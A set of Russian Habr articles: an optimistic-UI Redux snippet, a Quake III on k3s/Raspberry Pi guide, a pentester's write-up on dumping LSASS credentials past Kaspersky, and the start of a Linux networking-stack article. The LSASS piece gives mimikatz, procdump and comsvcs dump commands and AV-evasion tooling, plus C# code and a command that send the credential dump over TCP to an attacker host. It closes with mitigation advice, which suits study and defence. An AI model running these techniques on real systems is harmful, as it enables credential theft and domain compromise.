store.dispatch({
type: OPTIMISTIC_HASH_UPDATED,
aggregateId,
hash
});
// Send a command
api.sendCommandCalculateNextHash(aggregateId, hash)
.then(
() => store.dispatch({
type: SEND_COMMAND_UPDATE_HASH_SUCCESS,
aggregateId,
hash
})
)
.catch(
(err) => store.dispatch({
type: SEND_COMMAND_UPDATE_HASH_FAILURE,
aggregateId,
hash
})
);
break;
}
case SEND_COMMAND_UPDATE_HASH_FAILURE: {
const { aggregateId } = action;
const hash = tempHashes[aggregateId];
delete tempHashes[aggregateId];
store.dispatch({
type: OPTIMISTIC_ROLLBACK_HASH_UPDATED,
aggregateId,
hash
});
break;
}
case HASH_UPDATED: {
const { aggregateId } = action;
const hash = tempHashes[aggregateId];
delete tempHashes[aggregateId];
store.dispatch({
type: OPTIMISTIC_ROLLBACK_HASH_UPDATED,
aggregateId,
hash
});
break;
}
}
next(action);
}
}
```
Вживую, как всё работает, можно посмотреть тут:
Заключение
==========
Оптимистичные обновления в UI могут сильно улучшить отзывчивость вашего приложения. Хотя использовать их нужно с умом и большой осторожностью. В ряде случаев они могу привести к потере данных и усложнить понимание пользовательского интерфейса. Например, оптимистичный лайк под фотографией это хорошо, а оптимистичная форма оплаты — плохо. Так что не наломайте дров. Удачи! | https://habr.com/ru/post/350060/ | null | ru | null |
# Quake III Arena, Kubernetes (k3s) и Raspberry Pi
***Прим. перев.**: казалось бы, еще недавно сочетание из заголовка казалось невозможным безумием. Мир не стоит на месте, и это безумие стало не просто возможным, а даже по-настоящему простым в реализации. Подтверждение читайте ниже в переводе соответствующей инструкции от Johan Siebens — облачного архитектора из Бельгии.*
Вчера у себя в ленте я увидел этот твит от Chris Campbell:
Ох, воспоминания… Quake III Arena — один из моих самых любимых шутеров от первого лица.
В прошлом я потратил (и потерял) немало времени, играя в эту динамичную игру с друзьями и врагами. Теперь, благодаря проекту [QuakeKube](https://github.com/criticalstack/quake-kube) от [Capital One Tech](https://twitter.com/CapitalOneTech), для нее открыт мир контейнеров и Kubernetes.
> QuakeKube представляет собой Kubernetes'ированную версию [QuakeJS](https://github.com/inolen/quakejs). Для этого в соответствующем deployment'е запускается выделенный сервер [Quake 3](https://ru.wikipedia.org/wiki/Quake_III_Arena), к которому клиенты подключаются через QuakeJS в браузере.
Конечно, мне не терпелось испробовать этот проект, особенно после того, как в документации увидел следующее:
> Контейнерные образы кросс-компилируются с помощью [Docker Buildx](https://docs.docker.com/buildx/working-with-buildx/) и могут запускаться на железе с различными архитектурами и операционными системами. В настоящее время доступны версии под `linux/amd64` и `linux/arm64`.
Поддержка ARM64! Класс, значит я могу запустить Quake на одном из своих Raspberry Pi! *(Прим. перев.: далее в статье будет рассмотрен вариант установки k3s на Raspberry Pi, а если вас интересует обычный [vanilla] Kubernetes — об этом мы [недавно писали](https://habr.com/ru/company/flant/blog/513908/).)*
Что ж, давайте постреляем!
--------------------------
Основную часть работы уже проделали другие энтузиасты, поэтому при наличии соответствующих инструментов и готового плана для запуска игры потребуется всего несколько минут.
### Требования
* Raspberry Pi с Ubuntu 20.04 с поддержкой ARM64;
* `k3sup` — легковесная утилита для автоматической установки и настройки [k3s](https://k3s.io/) на любой локальной или удаленной виртуальной машине;
* `arkade` — простой CLI на Golang со строго определяемыми флагами, позволяющий легко и непринужденно устанавливать чарты и приложения в кластер;
* `kubectl`;
* учетная запись в DigitalOcean и API-токен.
### Установка и настройка
Прежде всего установите `k3s` на Raspberry Pi с ARM64-совместимой операционной системой вроде Ubuntu 20.04:
```
$ k3sup install --ip 192.168.0.52 --user ubuntu --k3s-extra-args '--no-deploy servicelb --no-deploy traefik'
```
После установки k3s на Raspberry Pi k3sup также загружает необходимый файл `kubeconfig` в текущий рабочий каталог. Настройте `kubectl` на использование этого конфига:
```
$ export KUBECONFIG=$(pwd)/kubeconfig
```
Теперь с помощью `arcade` установите inlets-operator:
```
$ arkade install inlets-operator --provider digitalocean --token-file ~/do-api-token
```
Inlets-operator создаст так называемый [inlets](https://github.com/inlets/inlets) exit-node в DigitalOcean, т.е. обеспечит публичный IP-адрес для сервисов LoadBalancer закрытого кластера k3s.
Для этого будет достаточно OSS-версии inlets, поскольку клиенты подключаются к серверу через QuakeJS в браузере с websocket'ами. Если нужна поддержка TLS и т.п., рекомендую обратить внимание на PRO-версию.
Наконец, возьмите YAML-файл QuakeKube из репозитория проекта на GitHub и внесите в него соответствующие изменения. Сервис необходимо заменить на LoadBalancer (вместо NodePort). Также можно настроить параметры самой игры по своему желанию.
Пример YAML-конфигурации для QuakeKube:
```
apiVersion: apps/v1
kind: Deployment
metadata:
name: quakejs
spec:
selector:
matchLabels:
run: quakejs
replicas: 1
template:
metadata:
labels:
run: quakejs
annotations:
prometheus.io/scrape: 'true'
prometheus.io/port: '8080'
spec:
containers:
- command:
- q3
- server
- --config=/config/config.yaml
- --content-server=http://localhost:9090
- --agree-eula
image: docker.io/criticalstack/quake:v1.0.5
name: server
ports:
- containerPort: 8080
readinessProbe:
tcpSocket:
port: 8080
initialDelaySeconds: 15
periodSeconds: 5
volumeMounts:
- name: quake3-server-config
mountPath: /config
- name: quake3-content
mountPath: /assets
- command:
- q3
- content
- --seed-content-url=http://content.quakejs.com
image: docker.io/criticalstack/quake:v1.0.5
name: content-server
ports:
- containerPort: 9090
volumeMounts:
- name: quake3-content
mountPath: /assets
volumes:
- name: quake3-server-config
configMap:
name: quake3-server-config
- name: quake3-content
emptyDir: {}
---
apiVersion: v1
kind: Service
metadata:
name: quakejs
spec:
type: LoadBalancer
selector:
run: quakejs
ports:
- port: 80
targetPort: 8080
name: http
---
apiVersion: v1
kind: ConfigMap
metadata:
name: quake3-server-config
data:
config.yaml: |
fragLimit: 25
timeLimit: 15m
bot:
minPlayers: 3
game:
motd: "Welcome to Critical Stack"
type: FreeForAll
forceRespawn: false
inactivity: 10m
quadFactor: 3
weaponRespawn: 3
server:
hostname: "quakekube"
maxClients: 12
password: "changeme"
commands:
- addbot sarge 2
maps:
- name: q3dm7
type: FreeForAll
timeLimit: 10m
- name: q3dm17
type: FreeForAll
- name: q3wctf1
type: CaptureTheFlag
captureLimit: 8
- name: q3tourney2
type: Tournament
- name: q3wctf3
type: CaptureTheFlag
captureLimit: 8
- name: ztn3tourney1
type: Tournament
```
### Запуск
Примените этот манифест к кластеру k3s:
```
$ kubectl apply -f example.yaml
deployment.apps/quakejs created
service/quakejs created
configmap/quake3-server-config created
```
Дождитесь, пока все pod'ы станут *running*, а inlets-operator создаст свой exit-node:
```
$ kubectl get pods,service
NAME READY STATUS RESTARTS AGE
pod/inlets-operator-76fb794578-s2fg4 1/1 Running 0 147m
pod/quakejs-tunnel-client-6f7c986dfc-mdt5w 1/1 Running 0 50s
pod/quakejs-786cc496b-g7b7n 2/2 Running 0 80s
NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE
service/kubernetes ClusterIP 10.43.0.1 443/TCP 152m
service/quakejs LoadBalancer 10.43.46.33 143.110.174.204,143.110.174.204 80:32116/TCP 80s
```
И все! Запускайте любимый браузер, загружайте приложение и начинайте палить во все стороны!
Полезные ссылки
---------------
* [quake-kube](https://github.com/criticalstack/quake-kube);
* [inlets-operator](https://github.com/inlets/inlets-operator);
* [k3sup](https://github.com/alexellis/k3sup);
* [arkade](https://github.com/alexellis/arkade).
P.S. от переводчика
-------------------
Демонстрацию QuakeJS в работе можно увидеть/попробовать [здесь](http://www.quakejs.com/).
Читайте также в нашем блоге:
* «[Полноценный Kubernetes с нуля на Raspberry Pi](https://habr.com/ru/company/flant/blog/513908/)»;
* «[Приключения с домашним Kubernetes-кластером](https://habr.com/ru/company/flant/blog/435526/)». | https://habr.com/ru/post/532452/ | null | ru | null |
# Дампы LSASS для всех, даром, и пусть никто не уйдет обиженный
Здравствуйте, хабролюди!
Меня зовут [@snovvcrash](/users/snovvcrash), и я работаю в отделе анализа защищенности компании Angara Security. Отвечаю я, значится, за инфраструктурный пентест, и в этой статье я хотел бы поговорить об одном из самых эффективных методов добычи учетных данных на «внутряке» — извлечении секретов из памяти процесса lsass.exe (MITRE ATT&CK [T1003.001](https://attack.mitre.org/techniques/T1003/001/)) — и, в частности, об особенностях реализации этого метода в ру-сегменте тестирования на проникновение.
За два года работы пентестером мои нервы были изрядно потрепаны нашим любимым отечественным антивирусным решением Kaspersky Endpoint Security (далее — KES), который установлен у каждого ~~первого~~ второго нашего клиента, и который, в отличие от других средств антивирусной защиты, наглухо блокирует все попытки потенциального злоумышленника получить доступ к lsass.exe (не реклама!).
Далее я расскажу свой опыт использования и кастомизации публично доступных инструментов, которые в разные промежутки времени позволяли мне сдампить память LSASS при активном «Касперском». Погнали!
Краткий ликбез
--------------
Если не сильно углубляться в теорию, то Local Security Authority Subsystem Service (он же LSASS) — это процесс (исполняемый файл `C:\Windows\System32\lsass.exe`), ответственный за управление разными подсистемами аутентификации ОС Windows. Среди его задач: проверка «кред» локальных и доменных аккаунтов в ходе различных сценариев запроса доступа к системе, генерация токенов безопасности для активных сессий пользователей, работа с провайдерами поддержки безопасности (Security Support Provider, SSP) и др.
Для нас, как для этичных хакеров, ключевым значением обладает тот факт, что в домене Active Directory правит концепция единого входа Single Sign-On (SSO), благодаря которой процесс lsass.exe хранит в себе разные материалы аутентификации залогиненных пользователей, например, NT-хеши и билеты Kerberos, чтобы «пользаку» не приходилось печатать свой паролЪ в вылезающем на экране окошке каждые 5 минут. В «лучшие» времена из LSASS можно было потащить **пароли в открытом виде** в силу активности протокола WDigest (HTTP дайджест-аутентификация), но начиная с версии ОС Windows Server 2008 R2 вендор решил не включать этот механизм по умолчанию.
Несмотря на то, что в 2к22 при успешном дампе LSASS злоумышленнику чаще всего остается довольствоваться NT-хешами и билетами Kerberos, это все равно с большой вероятностью позволит ему повысить свои привилегии в доменной среде AD за короткий промежуток времени. Реализуя схемы [Pass-the-Hash](https://attack.mitre.org/techniques/T1550/002/), [Overpass-the-Hash](https://stealthbits.com/blog/how-to-detect-overpass-the-hash-attacks/) и [Pass-the-Ticket](https://attack.mitre.org/techniques/T1550/003/), злоумышленник может быстро распространиться по сети горизонтально, собирая по пути все больше хешей и «тикетов», что в конечном итоге дарует ему «ключи от Королевства» в виде данных аутентификации администратора домена.
Экскурс в историю дампов LSASS
------------------------------
Рассмотрим первопроходцев в ремесле извлечения данных аутентификации из памяти LSASS.
### Mimikatz
Было бы преступлением не начать повествование с такого мастодонта в области потрошения подсистем аутентификации Windows как [Mimikatz](https://github.com/gentilkiwi/mimikatz), которым хоть раз пользовался любой пентестер.
Модуль `sekurlsa::logonpasswords` позволяет «налету» парсить память lsass.exe с целью поиска секретиков без сохранения соответствующего дампа на диск. Этот инструмент поистине произвел революцию в наступательных операциях и положил начало многим другим исследованием в области извлечения чувствительной информации с хостов под управлением Windows.
Cmd
```
C:\>mimikatz.exe
mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # log out.txt
mimikatz # sekurlsa::logonpasswords full
mimikatz # exit
C:\>mimikatz.exe "privilege::debug" "token::elevate" "log out.txt" "sekurlsa::logonpasswords full" "exit"
```
Использование Mimikatz (logonpasswords)К сожалению для пентестеров, вендоры AV / EDR быстро «просекли фишку» и стали относиться к «Мимику» как к самому опасному ПО, созданному за всю историю человечества, поэтому на сегодняшний момент он пригоден лишь как пособие для изучения реализованных в нем техник — для их переосмысления и переизобретения в собственных инструментах.
> На заметку: официальная [вики](https://github.com/gentilkiwi/mimikatz/wiki) Mimikatz покрывает далеко не все его возможности, поэтому энтузиасты InfoSec-комьюнити создали вот [такой](https://tools.thehacker.recipes/mimikatz) замечательный ресурс, которым я рекомендую пользоваться в случае возникновения вопросов, что делает та или иная команда этого замечательного инструмента.
>
>
### ProcDump
Другим фаворитом внутренних пентестов долгое время был метод создания снимка памяти LSASS с помощью служебной программы [ProcDump](https://docs.microsoft.com/en-us/sysinternals/downloads/procdump) из состава [Windows Sysinternals](https://docs.microsoft.com/en-us/sysinternals/). Этот инструмент позволяет создавать дампы процессов с целью их дальнейшего анализа, и процесс lsass.exe тому не исключение (если права позволяют, разумеется, хе-хе).
Cmd
```
C:\>procdump64.exe -accepteula -64 -ma lsass.exe lsass.dmp
```
Создание слепка памяти процесса lsass.exeТеперь можно притащить слепленный дамп к себе на тачку и распарсить его с помощью того же Mimikatz.
Cmd
```
C:\>mimikatz.exe
mimikatz # sekurlsa::minidump lsass.dmp
mimikatz # sekurlsa::logonpasswords full
mimikatz # exit
C:\>mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords full" "exit"
```
Парсим lsass.dmp с помощью MimikatzИли его аналога для Linux – [Pypykatz](https://github.com/skelsec/pypykatz).
Cmd
```
~$ pypykatz lsa minidump lsass.dmp
```
Парсим lsass.dmp с помощью PypykatzПрелесть этого метода заключается в том, что все необходимые операции по созданию слепка памяти выполняет ProcDump, подписанный Microsoft, и этичному взломщику не требуется тащить на хост никакой малвари. Однако разработчики корпоративных антивирусных решений тоже долго не стояли в стороне и оперативно прикрыли возможность делать дампы LSASS с помощью ProcDump, включив его в разряд `PDM:HackTool.Win32.CreDump.rbaa`.
«Касперский» не доволен активностью ProcDump### comsvcs.dll
Безусловно, интересной находкой стало обнаружение экспорта функции **MiniDumpW** в системной библиотеке `C:\Windows\System32\comsvcs.dll`, которая дергает вызов Win32 API [MiniDumpWriteDump](https://docs.microsoft.com/en-us/windows/win32/api/minidumpapiset/nf-minidumpapiset-minidumpwritedump) и позволяет делать слепки процессов в рамках концепции [Living Off The Land Binaries And Scripts](https://lolbas-project.github.io/#) (LOLBAS), когда злоумышленнику не нужно приносить ничего лишнего на атакуемую машину.
Анализ библиотеки comsvcs.dll с помощью PE-bearЭта библиотека легла в основу первых версий замечательной утилиты [lsassy](https://github.com/Hackndo/lsassy), позволяющей делать слепки LSASS и удаленно читать необходимые области памяти созданного дампа, а не перенаправлять его целиком на машину атакующего (подробнее о принципе работы можно почитать [в блоге](https://en.hackndo.com/remote-lsass-dump-passwords/) автора утилиты).
Если взглянуть [на код](https://github.com/Hackndo/lsassy/blob/f72eeb9eeeb22a37d6c94c6460fe7740e5e709ae/lsassy/dumpmethod/comsvcs.py#L9-L14), можно найти суперские «однострочники» для Cmd и PowerShell, которые автоматически позволяют получить идентификатор процесса lsass.exe и сдампить его память по заданному пути.
```
C:\>for /f "tokens=1,2 delims= " ^%A in ('"tasklist /fi "Imagename eq lsass.exe" | find "lsass""') do rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump ^%B C:\lsass.dmp full
PS C:\> rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id C:\lsass.dmp full
```
> Примечание: лучше пользоваться PowerShell-версией команды, так как для оболочки PowerShell в отличии от Cmd по дефолту включена привилегия `SeDebugPrivilege` для привилегированной сессии шелла, которая понадобится для доступа к памяти lsass.exe.
>
>
Дампим LSASS с помощью LOLBAS-техники comsvcs.dllСтоит ли говорить, что создание дампа по такой простой технике, разумеется, будет предотвращено хотя бы мало-мальски неравнодушным антивирусом?
### Out-Minidump.ps1
Еще один древний как мир способ — позаимствовать [импорт P/Invoke](http://www.pinvoke.net/default.aspx/dbghelp/MiniDumpWriteDump.html) функции MiniDumpWriteDump из класса **NativeMethods** сборки `System.Management.Automation.WindowsErrorReporting`, как это делается в скрипте [Out-Minidump.ps1](https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Out-Minidump.ps1) из арсенала PowerSploit.
MiniDumpWriteDump
```
$WER = [PSObject].Assembly.GetType('System.Management.Automation.WindowsErrorReporting')
$WERNativeMethods = $WER.GetNestedType('NativeMethods', 'NonPublic')
$Flags = [Reflection.BindingFlags] 'NonPublic, Static'
$MiniDumpWriteDump = $WERNativeMethods.GetMethod('MiniDumpWriteDump', $Flags)
$MiniDumpWriteDump
```
Анализ сборки System.Management.Automation.WindowsErrorReporting с помощью dnSpyРезультат работы скрипта аналогичен вызову функции MiniDump из предыдущего метода, поэтому оставлю это в качестве упражнения для читателя. Ну и, соответственно, антивирусы так же негативно к нему относятся.
Дампим LSASS по OPSEC-овски
---------------------------
Итак, перейдем к самому интересному: как же можно «угодить» антивирусным средствам защиты и сделать дамп памяти процесса lsass.exe в стиле Operational Security?
Запреты AV на создание слепков памяти LSASS условно можно разделить на 3 части:
1. Запрет на получение дескриптора процесса lsass.exe.
2. Запрет на чтение виртуальной памяти процесса lsass.exe.
3. Запрет на сохранение результирующего дампа на диск.
Ниже мы рассмотрим 3 проекта, каждый из которых в свое время помогал мне извлечь чувствительную информацию из памяти сетевых узлов при активном средстве KES на внутренних пентестах или операциях Red Team.
### MirrorDump
Первым обнаруженным мною проектом, который на удивление мог обходить защиту KES, был [MirrorDump](https://github.com/CCob/MirrorDump) от исследователя [@\_EthicalChaos\_](https://twitter.com/_EthicalChaos_).
Его ключевые особенности:
* Написан на C#, что позволяет запускать его из памяти сессии [C2](https://attack.mitre.org/tactics/TA0011/) или с помощью механизма .NET `Reflection.Assembly`.
* Применяет магию [Boo.Lang](https://github.com/boo-lang/boo) и плагина [DllExport](https://github.com/3F/DllExport) для генерации «на лету» псевдопровайдера аутентификации LSA SSP и его загрузки в память LSASS для получения дескриптора процесса lsass.exe вместо использования API [NtOpenProcess.](http://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FNT%20Objects%2FProcess%2FNtOpenProcess.html)
* Использует проекты [MiniHook](https://github.com/TsudaKageyu/minhook) и [SharpDisasm](https://github.com/spazzarama/SharpDisasm) для установки userland-хуков на вызовы внутренних API `MiniDumpWriteDump` для перенаправления потока байт результирующего слепка памяти lsass.exe в память исполняющего процесса. Таким образом у оператора появляется возможность отправить дамп памяти по сети и не сохранять его на диск скомпрометированного хоста.
В минусы этого способа безусловно входит то, что библиотека DLL псевдопровайдера аутентификации LSA **должна** быть сохранена на диск скомпрометированного хоста для возможности ее использования в API [SpLsaModeInitialize](https://docs.microsoft.com/en-us/windows/win32/api/ntsecpkg/nc-ntsecpkg-splsamodeinitializefn), и которая, ко всему прочему, не может быть удалена после создания дампа без перезагрузки ПК.
Данный проект существует как Proof-of-Concept, который «из коробки» в конечном итоге все равно сохраняет дамп памяти на диск даже с учетом того, что генерация такого дампа проходит столь необычным образом. Поэтому я решил сделать [свой форк](https://github.com/snovvcrash/MirrorDump), добавив две новые фичи:
1. Парсинг слепка прямо в памяти с помощью библиотеки [MiniDump](https://github.com/cube0x0/MiniDump) (работает не на всех версиях ОС Windows).
2. Возможность сжатия и отправки байт слепка памяти по TCP-каналу на машину атакующего, где парсинг может быть произведен силами сторонних инструментов (Mimikatz / Pypykatz).
Для первой фичи был добавлен [флаг](https://github.com/snovvcrash/MirrorDump/blob/45aa9057aa152ed3682dd9410de4ff731b851c74/Program.cs#L105) `--parse`, при наличии которого байты слепка передаются на [EntryPoint](https://github.com/snovvcrash/MiniDump/blob/5e7cc10889dedffc94cb5efb4d7638c8f1e679ef/Program.cs#L25) MiniDump.
Cmd
```
C:\>MirrorDump.exe --dllName LegitLSAPlugin1.dll --parse
```
Бесфайловый дамп LSASS с парсингом слепка в памятиДля второй фичи был написан вспомогательный [скрипт](https://github.com/snovvcrash/MirrorDump/blob/master/MirrorDump.py) на Python, содержащий тривиальный сокет-сервер, ожидающий «зиппованный» дамп. Скрипт также автоматически распакует прилетевший дамп, по желанию проверит контрольную сумму и распрасит его с помощью Pypykatz.
Cmd
```
~$ python3 MirrorDump.py 0.0.0.0 1337 --md5 --parse
C:\>MirrorDump.exe --dllName LegitLSAPlugin1.dll --host 192.168.0.184 --port 1337
```
Бесфайловый дамп LSASS с отправкой слепка по TCPОтправка запакованного дампа также легко реализуется на нативном C# через метод `SendZip`.
```
static void SendZip(string host, int port, DumpContext dc)
{
using (var outStream = new MemoryStream())
{
using (var archive = new ZipArchive(outStream, ZipArchiveMode.Create, true))
{
var lsassDump = archive.CreateEntry($"{Guid.NewGuid()}.bin");
using (var entryStream = lsassDump.Open())
using (var dumpCompressStream = new MemoryStream(dc.Data))
dumpCompressStream.CopyTo(entryStream);
}
byte[] compressedBytes = outStream.ToArray();
Console.WriteLine($"[+] Minidump successfully packed in memory, size {Math.Round(compressedBytes.Length / 1024.0 / 1024.0, 2)} MB");
byte[] zipHashBytes = MD5.Create().ComputeHash(compressedBytes);
string zipHash = BitConverter.ToString(zipHashBytes).Replace("-", "");
Console.WriteLine($"[*] MD5: {zipHash}");
using (var tcpClient = new TcpClient(host, port))
{
using (var netStream = tcpClient.GetStream())
{
string hostName = System.Environment.GetEnvironmentVariable("COMPUTERNAME");
string zipSize = (compressedBytes.Length).ToString();
byte[] stage = Encoding.ASCII.GetBytes($"{hostName}|{zipSize}");
netStream.Write(stage, 0, stage.Length);
netStream.Write(compressedBytes, 0, compressedBytes.Length);
}
}
}
}
```
Также метод создания слепков lsass.exe с помощью MirrorDump [был добавлен](https://github.com/Hackndo/lsassy/blob/master/lsassy/dumpmethod/mirrordump.py) мной для использования вместе с lsassy.
К сожалению, недолго музыка играла и примерно полгода спустя «Касперский» начал блокировать создание дампов LSASS через данную технику на уровне поведенческого анализа, что заставило нас искать другой «непалящийся» способ извлечения кред на внутряках.
### NanoDump
Нашим следующим «спасителем» стал инструмент [NanoDump](https://github.com/helpsystems/nanodump) от компании-разработчика Cobalt Strike, который я без преувеличений считаю просто произведением искусства.
Его ключевые особенности:
* Использование системных вызовов (с их динамическим резолвом) с помощью [SysWhispers2](https://github.com/jthuraisamy/SysWhispers2), что позволяет обходить userland-хуки Win32 API, которые вешает антивирусное ПО.
* Собственная реализация MiniDumpWriteDump через чтение памяти lsass.exe с помощью ZwReadVirtualMemory, что избавляет оператора от необходимости дергать потенциально подозрительную ручку API.
* Поддержка разных трюков и техник создания дампа (перечислены не все):
+ поиск уже открытых дескрипторов lsass.exe в других процессах [[ссылка](https://skelsec.medium.com/duping-av-with-handles-537ef985eb03)],
+ использование утекающего хэндла lsass.exe при вызове функции `CreateProcessWithLogonW` [[ссылка](https://splintercod3.blogspot.com/p/the-hidden-side-of-seclogon-part-2.html)],
+ загрузка NanoDump в виртуальную память lsass.exe в виде провайдера SSP [[ссылка](https://blog.xpnsec.com/exploring-mimikatz-part-2/)],
+ возможность снятия защиты PPL [[ссылка](https://blog.scrt.ch/2021/04/22/bypassing-lsa-protection-in-userland/)].
* Намеренное повреждение сигнатуры дампа памяти с целью избегания детекта от AV на этапе его записи на диск.
* Компиляция в Beacon Object File (BOF) для выполнения NanoDump из памяти в случае, когда моделируемый злоумышленник обладает сессией «Кобальта» на скомпрометированном сетевом узле.
Для нас, как для пентестеров компаний преимущественно из ру-сегмента, наибольший интерес представляет техника загрузки NanoDump, скомпилированного в виде DLL, прямо в LSASS как SSP, то есть в виде псевдопровайдера аутентификации LSA. Исходя из нашего опыта, на данный момент это и есть слабое место «Касперского».
Для того, чтобы воспользоваться этой техникой без сессии Cobalt Strike, моделируемый злоумышленник должен принести на скомпрометированный узел 2 бинаря: загрузчик библиотеки SSP и, собственно, саму библиотеку SSP. Полагаю, что в скором времени оба они начнут детектиться по крайней мере на уровне сигнатурного анализа, поэтому воспользовавшись примером [из этого ресерча](https://s3cur3th1ssh1t.github.io/Reflective-Dump-Tools/) от [@ShitSecure](https://twitter.com/ShitSecure) мы напилили свой загрузчик NanoDump SSP из памяти с помощью кредла на PowerShell.
Дампим LSASS с помощью NanoDump SSP и восстанавливаем поврежденную сигнатуруНамеренно не раскрываю исходник кредла (тем более, что в приведенной выше статье все есть), ибо надеюсь, что этот метод проживет хотя бы еще немного. Ну а в общем, смиренно ждем, когда и эта техника начнет «палиться» KES, чтобы начать искать новые ухищрения для дампа памяти LSASS...
Physmem2profit
--------------
Последним творением, которое мы сегодня рассмотрим, будет проект [Physmem2profit](https://github.com/FSecureLABS/physmem2profit) от F-Secure LABS. Его подход к дампу LSASS отличается от остальных тем, что вместо того, чтобы сосредотачиваться на методах уклонения от хуков AV / EDR в userland, он использует **драйвер** WinPmem (часть форензик-проекта [rekall](https://github.com/google/rekall)) для получения доступа ко всей физической памяти целевого узла и ищет там область, соответствующую памяти процесса lsass.exe, через монтирование виртуальной ФС [FUSE](https://en.wikipedia.org/wiki/Filesystem_in_Userspace).
Покажем в действии, как заставить это чудо работать:
1. Для начала клонируем репозиторий проекта, рекурсивно разрешая зависимости в виде git-подмодулей.
2. Далее исправим версии библиотек `acora` и `pycryptodome` в зависимостях `rekall-core`, чтобы они дружили с актуальным Python 3.
3. Теперь можно запустить инсталлер, который накатит питонячую виртуальную среду и поставит все, что ему нужно.
Cmd
```
git clone --recursive https://github.com/FSecureLABS/physmem2profit
cd physmem2profit/client
sed -i 's/acora==2.1/acora/g' rekall/rekall-core/setup.py
sed -i 's/pycryptodome==3.4.7/pycryptodome/g' rekall/rekall-core/setup.py
bash install.sh
source .env/bin/activate
```
Установка Physmem2profitСледуя рекомендациям [из этого issue](https://github.com/FSecureLABS/physmem2profit/issues/7), я скачал крайний [релиз](https://github.com/Velocidex/WinPmem/releases/tag/v4.0.rc1) WinPmem (нам понадобится только файл `kernel/binaries/winpmem_x64.sys`) и обновил [эти константы](https://github.com/FSecureLABS/physmem2profit/blob/296d8fefecf2c852b955d01bad97f89c3194322f/server/Plugins/WinPmem.cs#L16-L17) для изменившегося [интерфейса](https://github.com/Velocidex/WinPmem/blob/e503038acfa3f4d3469341f6e126ef2958c342c3/kernel/userspace_interface/winpmem_shared.h#L46-L52) взаимодействия с драйвером. Внесенные [изменения](https://github.com/snovvcrash/physmem2profit/commit/db122920c6eb46e5337112e227d7b3ee6ff9dd9f) можно посмотреть в моем форке проекта.
Также среди внесенных изменений — захардкоженный файл драйвера, который автоматически кладется в файловую систему «жертвы» перед установкой соответствующей службы и стирается после ее остановки и удаления:
```
static byte[] Decompress(byte[] data)
{
MemoryStream input = new MemoryStream(data);
MemoryStream output = new MemoryStream();
using (DeflateStream dStream = new DeflateStream(input, CompressionMode.Decompress))
dStream.CopyTo(output);
return output.ToArray();
}
// ...
Program.Log("Installing service...");
var sysCompressed = Convert.FromBase64String("");
var sysRawBytes = Decompress(sysCompressed);
File.WriteAllBytes(pathToDriver, sysRawBytes);
OpenOrCreate(pathToDriver);
Program.Log("Service created successfully.", Program.LogMessageSeverity.Success);
// ...
CloseHandle(\_hDevice);
Stop();
Delete();
File.Delete(Globals.pathToDriver);
Program.Log("Successfully unloaded the WinPMem driver.", Program.LogMessageSeverity.Success);
```
Смотрим, как всем этим пользоваться:
```
# Server-side
PS > .\Physmem2profit.exe --ip --port [--verbose] [--hidden]
# Client-side
~$ python3 physmem2profit --host --port --install "C:/Windows/Temp/winpmem\_x64.sys" --mode all --driver winpmem
```
Чтобы не упускать преимуществ C#, на котором написана серверная часть, продемонстрируем возможность загрузки и выполнения сборки из памяти.
Дампим LSASS с помощью Physmem2profitВуаля, хеши из LSASS получены!
Противодействие
---------------
Вместо заключения приведу несколько рекомендаций, которые помогут свести к минимуму возможности для потенциального злоумышленника сдампить LSASS или извлечь из сделанного слепка значительную выгоду:
* Свести к минимуму доступ к любым сетевым узлам в домене с учетными данными пользователей, входящих в привилегированные доменные группы (Domain Admins, Enterprise Admins, Administrators и др.), а для администрирования серверов и рабочих станций использовать выделенные для данных целей УЗ с минимально необходимым набором привилегий (смотрим концепцию [Tiered Access Model](https://stealthbits.com/blog/cutting-down-the-red-forest/)).
* Настроить механизм безопасности [Remote Credential Guard](https://docs.microsoft.com/ru-ru/windows/security/identity-protection/remote-credential-guard) для предотвращения сохранения аутентификационных данных пользователей при подключении к удаленным сетевым узлам по протоколу RDP для привилегированных УЗ.
* Использовать механизм [Protected Process](https://docs.microsoft.com/ru-ru/windows-server/security/credentials-protection-and-management/configuring-additional-lsa-protection) (PPL) для предотвращения потенциальной возможности доступа к памяти процесса lsass.exe.
* Использовать группу безопасности Windows «[Защищенные пользователи](https://docs.microsoft.com/ru-ru/windows-server/identity/ad-ds/manage/how-to-configure-protected-accounts)» (Protected Users Security Group) и добавить в нее УЗ критически важных пользователей, например, администраторов домена (эта фича требует тестирования перед внедрением в прод, поэтому аккуратнее).
* Следовать [рекомендациям](https://download.microsoft.com/download/7/7/A/77ABC5BD-8320-41AF-863C-6ECFB10CB4B9/Mitigating-Pass-the-Hash-Attacks-and-Other-Credential-Theft-Version-2.pdf) производителя ОС для снижения риска проведения атак типа Pass-the-Hash.
Ну а пока извечная игра в кошки-мышки между пентестерами и вендорами антивирусного ПО продолжается, Happy hacking! | https://habr.com/ru/post/661341/ | null | ru | null |
# Мониторинг и настройка сетевого стека Linux: получение данных
В этой статье мы рассмотрим, как осуществляется приём пакетов на компьютерах под управлением ядра Linux, а также разберём вопросы мониторинга и настройки каждого компонента сетевого стека по мере движения пакетов из сети в приложения пользовательского пространства. Здесь вы найдёте много исходного кода, потому что без глубокого понимания процессов вы не сможете настроить и отслеживать сетевой стек Linux.
Также рекомендуем ознакомиться с [иллюстрированным руководством на ту же тему](http://blog.packagecloud.io/eng/2016/10/11/monitoring-tuning-linux-networking-stack-receiving-data-illustrated/), там есть поясняющие схемы и дополнительная информация.
**Содержание**
1. [Общий совет по мониторингу и настройке сетевого стека Linux](#1)
2. [Обзор проблематики](#2)
3. [Подробный разбор](#3)
3.1. [Драйвер сетевого устройства](#4)
3.2. [SoftIRQ](#5)
3.3. [Подсистема сетевого устройства в Linux](#6)
3.4. [Механизм управления принимаемыми пакетами (Receive Packet Steering (RPS))](#7)
3.5. [Механизм управления принимаемыми потоками (Receive Flow Steering (RFS))](#8)
3.6. [Аппаратно ускоренное управление принимаемыми потоками (Accelerated Receive Flow Steering (aRFS))](#9)
3.7. [Повышение (moving up) сетевого стека с помощью netif\_receive\_skb](#10)
3.8. [netif\_receive\_skb](#11)
3.9. [Регистрация уровня протокола](#12)
